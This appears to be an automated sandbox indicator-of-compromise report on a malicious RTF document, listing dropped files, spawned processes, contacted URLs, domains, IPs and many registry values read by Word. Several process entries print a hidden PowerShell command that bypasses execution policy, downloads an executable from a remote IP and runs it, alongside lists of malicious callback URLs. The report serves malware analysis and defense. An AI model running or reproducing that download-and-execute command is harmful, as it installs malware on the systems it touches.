IOCReport

loading gif

Files

File Path
Type
Category
Malicious
1c60a1e9_by_Libranalysis.rtf
Rich Text Format data, version 1, unknown character set
initial sample
 malicious
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\docsc[1].exe
PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
downloaded
 malicious
C:\Users\user\AppData\Local\Temp\Abctfhghgdghgh .ScT
data
dropped
 malicious
C:\Users\user\AppData\Roaming\docsc.exe
PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
dropped
 malicious
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\F3A4D79D.png
370 sysV pure executable
dropped
 clean
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{8ADCC7F3-349E-46EF-BF24-C3A751787722}.tmp
data
dropped
 clean
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{9CA5B12C-492C-4E57-AED2-0E7798ADDEF4}.tmp
data
dropped
 clean
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{CEE3E709-76F5-433D-BD56-9523C4C9DC31}.tmp
data
dropped
 clean
C:\Users\user\AppData\Local\Temp\Abctfhghgdghgh .ScT:Zone.Identifier
ASCII text, with CRLF line terminators
dropped
 clean
C:\Users\user\AppData\Local\Temp\OICE_A3A241B7-2F36-435D-B046-C9F74B3487D8.0\FLDA58.tmp
370 sysV pure executable
dropped
 clean
C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\1c60a1e9_by_Libranalysis.LNK
MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed May 12 17:33:27 2021, mtime=Wed May 12 17:33:27 2021, atime=Wed May 12 17:33:32 2021, length=366007, window=hide
dropped
 clean
C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat
ASCII text, with CRLF line terminators
dropped
 clean
C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm
data
dropped
 clean
C:\Users\user\AppData\Roaming\Microsoft\UProof\ExcludeDictionaryEN0409.lex
Little-endian UTF-16 Unicode text, with no line terminators
dropped
 clean
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\DMR481T3UO04FSSHR3G3.temp
data
dropped
 clean
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\L17W9ZNBCUQUI8JBPCTD.temp
data
dropped
 clean
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\NEKL7LLMA2OV4UGS2LPM.temp
data
dropped
 clean
C:\Users\user\Desktop\~$60a1e9_by_Libranalysis.rtf
data
dropped
 clean
There are 8 hidden files, click here to show them.

Processes

Path
Cmdline
Malicious
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
'C:\Program Files\Microsoft Office\Office14\WINWORD.EXE' /Automation -Embedding
 malicious
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command '(New-Object System.Net.WebClient).DownloadFile('httP://157.55.173.72/goose/docsc.exe','C:\Users\user\AppData\Roaming\docsc.exe');Start-Process 'C:\Users\user\AppData\Roaming\docsc.exe''
malicious
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command '(New-Object System.Net.WebClient).DownloadFile('httP://157.55.173.72/goose/docsc.exe','C:\Users\user\AppData\Roaming\docsc.exe');Start-Process 'C:\Users\user\AppData\Roaming\docsc.exe''
malicious
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command '(New-Object System.Net.WebClient).DownloadFile('httP://157.55.173.72/goose/docsc.exe','C:\Users\user\AppData\Roaming\docsc.exe');Start-Process 'C:\Users\user\AppData\Roaming\docsc.exe''
malicious
C:\Users\user\AppData\Roaming\docsc.exe
'C:\Users\user\AppData\Roaming\docsc.exe'
malicious
C:\Users\user\AppData\Roaming\docsc.exe
C:\Users\user\AppData\Roaming\docsc.exe
 malicious
C:\Users\user\AppData\Roaming\docsc.exe
C:\Users\user\AppData\Roaming\docsc.exe
 malicious
C:\Windows\explorer.exe
malicious
C:\Windows\SysWOW64\NAPSTAT.EXE
C:\Windows\SysWOW64\NAPSTAT.EXE
 malicious
C:\Program Files\Common Files\Microsoft Shared\OFFICE14\FLTLDR.EXE
'C:\Program Files\Common Files\Microsoft Shared\OFFICE14\FLTLDR.EXE' C:\Program Files\Common Files\Microsoft Shared\GRPHFLT\PNG32.FLT
 clean
C:\Windows\SysWOW64\cmd.exe
/c del 'C:\Users\user\AppData\Roaming\docsc.exe'
 clean
There are 1 hidden processes, click here to show them.

URLs

Name
IP
Malicious
httP://157.55.173.72/goose/do
unknown
 malicious
http://www.foreverjsdesigns.com/a8si/?bzrD=k28hoff2RzuOUW33PbGIPtKRPUr4n64pf9qOap2xi7OmRFd8c0vHG7pxTFlCjwyFI3/RUg==&yxl4A=IJB8SptPOV
44.230.85.241
 malicious
http://157.55.173.72/goose/docsc.exe
157.55.173.72
 malicious
www.rogegalmish.com/a8si/
malicious
httP://157.55.173.72/goose/docsc
unknown
 malicious
http://www.ethereumdailypay.com/a8si/?yxl4A=IJB8SptPOV&bzrD=SdeqJz6wjaIyYsu9X1DHbU17V+TmiEx/wZfEfcHGPKPVmfA4v4050PCPps/OkVYskoJ4SA==
209.143.158.10
 malicious
httP://157.55.173.72/goose/docsc.exe
unknown
 malicious
http://www.thepocket-onlinelesson.xyz/a8si/?bzrD=AKlWb4F2uLtjtixCEtxovY3lKx8NV8ATEUdUvfUwC6/Iyc/MbMvmSS41f7GTUiSOdXxAeQ==&yxl4A=IJB8SptPOV
202.210.8.86
 malicious
httP://157.55.17
unknown
 malicious
http://www.boostcoachingonline.com/a8si/?yxl4A=IJB8SptPOV&bzrD=4F1bkU/FiIiIeThn0vTtPD5XJl4c4IZLVeanHLI3MyhQ3xDAQVTSUto06Vs10btJG4UKsg==
184.168.131.241
 malicious
http://www.betsysellsswfl.com/a8si/?bzrD=tsBWpGsRZmy7d7x2nhlySyt7kUJXdizctJsfNrtXFEv4lF0eOqcyqbf0nJIyY4rkKVxBEQ==&yxl4A=IJB8SptPOV
107.155.89.74
 malicious
httP://157.55.
unknown
 malicious
http://www.applewholesales.com/a8si/?bzrD=UJpr1KJ3cAfqwplpJdbkHVupvAtN4HJ9rDw4p7p43guJdlFHza1zzh6114vkMzwZ//7Ijg==&yxl4A=IJB8SptPOV
75.2.115.196
 malicious
http://www.4520oceanviewavenue.com/a8si/?yxl4A=IJB8SptPOV&bzrD=O3o1U+q5oLWwAo4csM4kzZFzuvGZx18F2JtzSgoGolufYTqxaY4hRtZqS8lk7vb9Od8wBg==
184.168.131.241
 malicious
httP://157.55.173.72/go
unknown
 malicious
http://www.piriform.com/ccleanerhttp://KK
unknown
 clean
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.
unknown
 clean
http://www.piriform.com/ccleanerhttp://www.piriform.com/ccleanerv
unknown
 clean
httP://157.55.173.72/goose/docsc.exePE1
unknown
 clean
http://www.piriform.com/ccleaner
unknown
 clean
http://www.%s.comPA
unknown
 clean
http://www.southernbrushworks.com/a8si/?yxl4A=IJB8SptPOV&bzrD=gy017r9A0psIMOBT0kV1AOcU5MENAfyqIllJOlDTSwkHuwjyB7K4Ynwu+ZK1UfHNgI+yKg==
34.102.136.180
 clean
http://157.55.173.72
unknown
 clean
There are 13 hidden URLs, click here to show them.

Domains

Name
IP
Malicious
4520oceanviewavenue.com
184.168.131.241
 malicious
betsysellsswfl.com
107.155.89.74
 malicious
ethereumdailypay.com
209.143.158.10
 malicious
www.applewholesales.com
75.2.115.196
 malicious
www.thepocket-onlinelesson.xyz
202.210.8.86
 malicious
boostcoachingonline.com
184.168.131.241
 malicious
www.boostcoachingonline.com
unknown
 malicious
www.foreverjsdesigns.com
unknown
 malicious
www.southernbrushworks.com
unknown
 malicious
www.ethereumdailypay.com
unknown
 malicious
www.qqkit.net
unknown
 malicious
www.4520oceanviewavenue.com
unknown
 malicious
www.betsysellsswfl.com
unknown
 malicious
uixie.porkbun.com
44.230.85.241
 clean
southernbrushworks.com
34.102.136.180
 clean
There are 5 hidden domains, click here to show them.

IPs

IP
Domain
Country
Malicious
209.143.158.10
ethereumdailypay.com
United States
malicious
75.2.115.196
www.applewholesales.com
United States
malicious
192.168.2.22
unknown
unknown
malicious
202.210.8.86
www.thepocket-onlinelesson.xyz
Japan
malicious
157.55.173.72
unknown
United States
malicious
184.168.131.241
4520oceanviewavenue.com
United States
malicious
107.155.89.74
betsysellsswfl.com
United States
malicious
44.230.85.241
uixie.porkbun.com
United States
clean
34.102.136.180
southernbrushworks.com
United States
clean
192.168.2.255
unknown
unknown
clean

Registry

Path
Value
Malicious
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
ld8
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MTTT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
te8
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
*g8
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@%SystemRoot%\system32\packager.dll,-2000
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
GraphicsFiltersPNGFilesIntl_1033
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
ReviewToken
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
EDEDA
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
VBAFiles
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Arial Unicode MS
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Batang
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@BatangChe
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@DFKai-SB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Dotum
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@DotumChe
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@FangSong
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Gulim
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@GulimChe
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Gungsuh
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@GungsuhChe
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@KaiTi
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Malgun Gothic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Meiryo
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Meiryo UI
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Microsoft JhengHei
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Microsoft YaHei
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MingLiU
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MingLiU_HKSCS
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MingLiU_HKSCS-ExtB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MingLiU-ExtB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MS Gothic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MS Mincho
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MS PGothic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MS PMincho
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MS UI Gothic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@NSimSun
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@PMingLiU
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@PMingLiU-ExtB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@SimHei
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@SimSun
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@SimSun-ExtB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Agency FB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Aharoni
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Algerian
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Andalus
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Angsana New
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
AngsanaUPC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Aparajita
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Arabic Typesetting
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Arial
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Arial Black
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Arial Narrow
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Arial Rounded MT Bold
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Arial Unicode MS
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Baskerville Old Face
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Batang
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
BatangChe
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bauhaus 93
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bell MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Berlin Sans FB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Berlin Sans FB Demi
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bernard MT Condensed
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Blackadder ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bodoni MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bodoni MT Black
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bodoni MT Condensed
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bodoni MT Poster Compressed
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Book Antiqua
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bookman Old Style
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bookshelf Symbol 7
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bradley Hand ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Britannic Bold
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Broadway
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Browallia New
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
BrowalliaUPC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Brush Script MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Calibri
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Calibri Light
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Californian FB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Calisto MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Cambria
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Cambria Math
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Candara
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Castellar
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Centaur
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Century
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Century Gothic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Century Schoolbook
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Chiller
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Colonna MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Comic Sans MS
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Consolas
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Constantia
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Cooper Black
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Copperplate Gothic Bold
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Copperplate Gothic Light
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Corbel
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Cordia New
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
CordiaUPC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Courier New
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Curlz MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
DaunPenh
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
David
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
DFKai-SB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
DilleniaUPC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
DokChampa
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Dotum
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
DotumChe
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Ebrima
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Edwardian Script ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Elephant
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Engravers MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Eras Bold ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Eras Demi ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Eras Light ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Eras Medium ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Estrangelo Edessa
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
EucrosiaUPC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Euphemia
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
FangSong
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Felix Titling
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Footlight MT Light
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Forte
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Franklin Gothic Book
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Franklin Gothic Demi
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Franklin Gothic Demi Cond
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Franklin Gothic Heavy
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Franklin Gothic Medium
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Franklin Gothic Medium Cond
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
FrankRuehl
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
FreesiaUPC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Freestyle Script
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
French Script MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gabriola
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Garamond
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gautami
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Georgia
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gigi
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gill Sans MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gill Sans MT Condensed
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gill Sans MT Ext Condensed Bold
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gill Sans Ultra Bold
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gill Sans Ultra Bold Condensed
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gisha
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gloucester MT Extra Condensed
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Goudy Old Style
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Goudy Stout
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gulim
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
GulimChe
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gungsuh
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
GungsuhChe
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Haettenschweiler
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Harlow Solid Italic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Harrington
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
High Tower Text
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Impact
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Imprint MT Shadow
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Informal Roman
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
IrisUPC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Iskoola Pota
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
JasmineUPC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Jokerman
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Juice ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
KaiTi
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Kalinga
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Kartika
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Khmer UI
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
KodchiangUPC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Kokila
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Kristen ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Kunstler Script
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lao UI
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Latha
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Leelawadee
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Levenim MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
LilyUPC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lucida Bright
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lucida Calligraphy
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lucida Console
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lucida Fax
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lucida Handwriting
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lucida Sans
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lucida Sans Typewriter
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lucida Sans Unicode
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Magneto
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Maiandra GD
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Malgun Gothic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Mangal
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Marlett
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Matura MT Script Capitals
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Meiryo
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Meiryo UI
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft Himalaya
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft JhengHei
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft New Tai Lue
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft PhagsPa
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft Sans Serif
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft Tai Le
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft Uighur
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft YaHei
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft Yi Baiti
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MingLiU
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MingLiU_HKSCS
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MingLiU_HKSCS-ExtB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MingLiU-ExtB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Miriam
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Miriam Fixed
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Mistral
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Modern No. 20
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Mongolian Baiti
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Monotype Corsiva
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MoolBoran
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MS Gothic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MS Mincho
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MS Outlook
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MS PGothic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MS PMincho
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MS Reference Sans Serif
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MS Reference Specialty
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MS UI Gothic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MT Extra
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MV Boli
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Narkisim
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Niagara Engraved
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Niagara Solid
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
NSimSun
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Nyala
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
OCR A Extended
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Old English Text MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Onyx
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Palace Script MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Palatino Linotype
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Papyrus
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Parchment
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Perpetua
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Perpetua Titling MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Plantagenet Cherokee
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Playbill
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
PMingLiU
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
PMingLiU-ExtB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Poor Richard
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Pristina
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Raavi
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Rage Italic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Ravie
 clean
